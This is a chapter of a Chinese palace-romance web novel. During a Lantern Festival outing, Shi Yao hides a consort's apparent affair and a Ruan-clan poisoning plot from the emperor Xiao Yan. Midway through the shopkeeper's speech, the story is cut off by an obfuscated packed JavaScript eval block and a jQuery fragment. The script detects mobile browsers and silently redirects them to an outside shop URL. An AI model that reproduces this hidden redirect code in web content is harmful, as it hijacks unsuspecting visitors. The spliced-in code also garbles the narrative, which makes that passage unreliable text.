等等,她可不是来买什么同心结的!
不合适。
起初,她只是因为看见了娴妃和一个一个男子挨得极近才躲开的。
见萧厌正在摆弄手上的两枚同心结,施瑶悄悄扭头寻找那两人的踪迹,略微一错眼,原本相隔几丈的人竟然在慢慢靠近。
娴妃脸上的笑都快咧到耳朵根了,容娴佳娴妃娘娘,你那个笑像是对着自家兄长的笑吗?凭借施瑶多年看小书以及在南梁宫中待了这么多年的经验来说,绝对不清白!
就算娴妃只是偷摸出来玩儿,但是旁边那位容大人,行若春风和煦,但是那双含情眼都快闪瞎人的眼睛了。
再仔细一瞧,好似还有点熟悉。
有点像暴君的某个时候的眼眸。
脑海之中忽而闪过清净殿中,那个朦胧蜻蜓点水一般的吻。偏偏这人还不自知,从身后凑了过来:“阿瑶觉得如何?”
施瑶脱口而出:“从前只有师父才唤我阿瑶。”
萧厌睨她:“孤喊不得?”
得,为一个称呼,还得拿身份来压人。施瑶哪敢说不啊,又不是嫌弃小命太长了。况且她身后还跟着这俩不清白的兄妹。
施瑶拽着人的衣袖往这边挪:“哪敢呀公子,咱们去这边逛逛吧。”
一只手拎了一堆东西的余晖:“……”有没有人管管他?
施瑶牵着那截玄黑色的衣袖一股脑的往前冲,待到隔开人海行至僻静处方才停下来。紧张得手心冒汗,她靠在大树旁歇了歇,面颊上飞过一层粉云。
萧厌不远不近地站着,回头又拿着方才二十两雪花银买来的同心结在那里瞧,看样子满意得不得了。
那同心结的工艺做得是不错,但怎么看都比不上宫中的手艺。
施瑶总觉得,陛下如今看起来,倒是傻傻的。
像是十七八岁的毛头小子,得了什么心爱之物便爱不释手,非得捧在手中细细端详一番才是。
施瑶瞧着只想笑,她靠着大树坐下来,身后是一座桥,桥下是一条河,河面上摆放着几叶小舟,晃晃悠悠,甚是悠闲。
远处的河边长街陆续摆出了一个个花灯小摊,夕阳渐渐从天边落下,一层暖呼呼的光芒照在湖面,和岸边未曾融化的白雪相得益彰。
好看。
暖融融的。
施瑶惬意的张开双臂,笑着看着外面美丽的景致。
桥边,小河,船只,美人。
萧厌捻着指尖晃动的同心结,那摆动的频率似乎在逐渐契合心脏,又在施瑶嫣然一笑之时,生生漏了一拍。
他分明看见的不是人,而是一支花。
但是他却能够从那支花晒太阳的满足感上,想象得出那张秾丽的脸。
是雪肤花貌的姑娘。
是城楼上惊鸿一瞥的女子。
他垂眸看向掌心的同心结,心中隐隐生出一股冲动来。
纵使万般不识人面,但此刻仍想系它于腰间。
施瑶总觉得一道极为热烈的目光灼烧着她,回头却又什么也没看见。
百无聊赖间,隐隐瞧见那船上露出一个模糊的人影来。
那人影划着小舟缓缓走近,手上还拿着一块令牌。
施瑶眯着眼望过去,上面隐隐写着一个字——阮。
许是碰巧遇见阮氏族人出游?
她再一看。
嚯,此人年方三十有余,面色含笑,向施瑶拱手行礼。行得是宫廷礼仪。
施瑶一愣。
那人从怀中掏出一个小瓷瓶,雪白雪白的,往河水中倒了倒。
施瑶没来得及将脸转开,只能摇头。
这往水中施毒,死后岂不是要下阴曹地府遭受十八般酷刑!
不行不行。
她皱着一张脸摇头。
那人动作未停,侍从拿出一个碗,他做出下毒的动作,然后让身旁的人喝下。那人不喝,然后做出倒在船上的动作。
施瑶一个激动站了起来。
不是,这些姓软的这么直接的吗?施瑶心虚扭头寻萧厌,萧厌恰恰看过来,手上还缠着那块同心结。
施瑶:……
她挪动着小碎步将身后的人挡住,他自己死事小,连累她事大!她这条小命还得留着回武夷山呢!
萧厌拧眉。
施瑶心头一激灵,唇边扬起一抹十分不自然的笑:“陛下。”
“你怎么了?”
“没,没怎么。”施瑶心虚,就差没把有问题写在脸上了。
萧厌抬步往河边来,施瑶眼瞅着瞒不过,希望那姓阮的有点眼力见,赶紧走。这么高,能看见上面的状况吧?
施瑶再定睛一看,好人啊,还在那里!
这是生怕皇帝没有发现有人在密谋谋害皇帝!
施瑶硬着头皮上前又抓住了萧厌那玄黑色的袖子,她垂眸,总觉得袖口某一角看起来皱皱巴巴的,像是被人抓过很多遍。
“陛下,”施瑶挪开视线,忽略到那丝不自在,“这儿太安静了,我们去看热闹吧!”
萧厌果真被她说的吸引了目光,点点头,应允了。
施瑶松了一口气。
这口气还没放下又吊了起来,这位陛下竟然趁她不注意偷偷往外看!她不认识阮氏的,可能这位陛下扫一眼就能认出来。还是得人走远了好,施瑶一着急,整个人都压在扯着的那截手臂上。
腰上骤然托了一只手,有些异样的酥麻。
像是忽然踉跄了一下,她忍着,倒是显得有几分笨拙的做作:“公子,我们找个地方坐坐吧,走了半天也累了。”
萧厌:……
他倒是看见桥下一对璧人,你侬我侬,看样子还是宫里出来的那个。
她如此极力的想要遮掩,应当是金蕊宫里经常同她在一起的那几人。
施瑶赶紧又抓着人走了,此地不宜久留,不然得把脑袋也一起留下。黄昏之后,街市上的人也变得更多了,施瑶也没怎么看,带着暴君就入了人多的酒楼之中。
人多好,一是热闹,二是饭菜好吃,三是有事可以随机应变。
施瑶十分满意,三人要了雅座。说来运气也是极好,地处二楼能够瞧见楼下行人,街边花灯,远处长河,极目远眺,小半上京尽收眼底。
当然价格也是极贵的,一锭金子就这么给了出去。
余晖放下东西之后便出了门子,也不知去了哪儿。
跑堂的活计又来奉了茶,施瑶端起来一股脑喝了不少,心头的那股子紧张劲儿才落下一半。
不多时门口来了一个穿着体面的掌柜,带着帽子,端着架子站在门口道:“客官要点什么菜?小店招牌香酥鸭,八宝鸡,翡翠丸子,佛跳墙,色香味俱全。还有各色小食……客官
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815570|190859||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是第一次来?”
没人接茬,施瑶听着这菜名便觉得口齿生津:“这些个招牌一样来一份!”
话毕又眼巴巴看向陛下:“公子,您觉得呢。”
"随你。"
萧厌靠在雅座上,还在捻着那块同心结。
掌柜一听,赶紧道:“好嘞。”
念顺口溜似的将菜名对着外边又喊了一遍。
掌柜地继续道:“今日上元佳节,人多,如有招待不周,还请客官多多海涵。”他躬身作揖,宽袖之中顺势半漏出一块玉瓶,极其不经意。
还真是极其不经意!
施瑶:……
阮家的脑子都送给太后了吗?
不然太后能够稳坐后位,这些姓阮的怎么这么呆笨!
施瑶嘭的一下站起来,恰恰挡住萧厌地视线,赶紧撵人:“自是体谅的,掌柜地你先忙。”
极其客气,不像是来吃饭的。
掌柜地知道她看见了,心满意足的离去了。
施瑶知道她应该是挡住了,心惊胆战的坐下了。
萧厌知道施瑶是在挡什么,心中略有疑惑。
“等等。”萧厌出声,那掌柜的步子迈到一半生生停下,施瑶心又提了起来。
“你先出去。”
掌柜的忙不迭跑了,施瑶松了一口气。
“你在挡什么?”萧厌慢条斯理地问,一而再再而三,他自是能够察觉到。
施瑶否认:“没什么啊,陛下怎么会这样认为。”
花说谎的时候会蜷缩花瓣,拧在一团,像是有说不出来的心事。
萧厌自然不能这样说,他说:“你说谎的时候耳根会红。”花瓣颜色会变深。
施瑶一摸,果真一片滚烫。
“才不是,”施瑶捂着耳根,“还不是陛下靠我太近了,才不是因为说谎。”
萧厌框她:“还是说谎了,不过说谎不会红耳根。经常谎话连篇?”
越说越过分的,施瑶的脸都涨红了,这次是气的:“妾还不至于拿自己的小命开玩笑,那可是欺君大罪。”
没那么严重,最多小惩大诫。
萧厌想。
眼看着整个花都变得异常鲜红,他道:“孤知道,你是在替娴妃遮掩。”
施瑶:……
幸好不是发现她被人要求要害他性命,但怎么就看到娴妃了?施瑶左右看了看,确认四周没人。
萧厌道:“人群里,河边桥下。”
准备起来据理力争的施瑶又坐了下来,不好解释那就不解释。
他可能是真看见了。
施瑶道:“陛下打算如何处置?”
宫妃私通可是大罪,对象还是兄长。
嘶,娴妃娘娘真是嫌九族不够砍的。
萧厌默了片刻:“你以为孤会怎么做?”
施瑶摇头,见萧厌非要她开口不可,她便试探道:“诛九族?”
萧厌笑了一声,目光却很冷:“孤不会要他们的命,因为孤根本不在意。孤在意的才会牢牢抓在手心之中。”
手心的红色同心结已经被揉搓地不成样子,像是抓着的不是同心结,而是一条人命。
施瑶只觉得心一紧,依稀能够从他身上看到那个阴戾恣睢的暴君影子。
君毕竟是君,不会因为他最近总是笑就变得慈祥起来。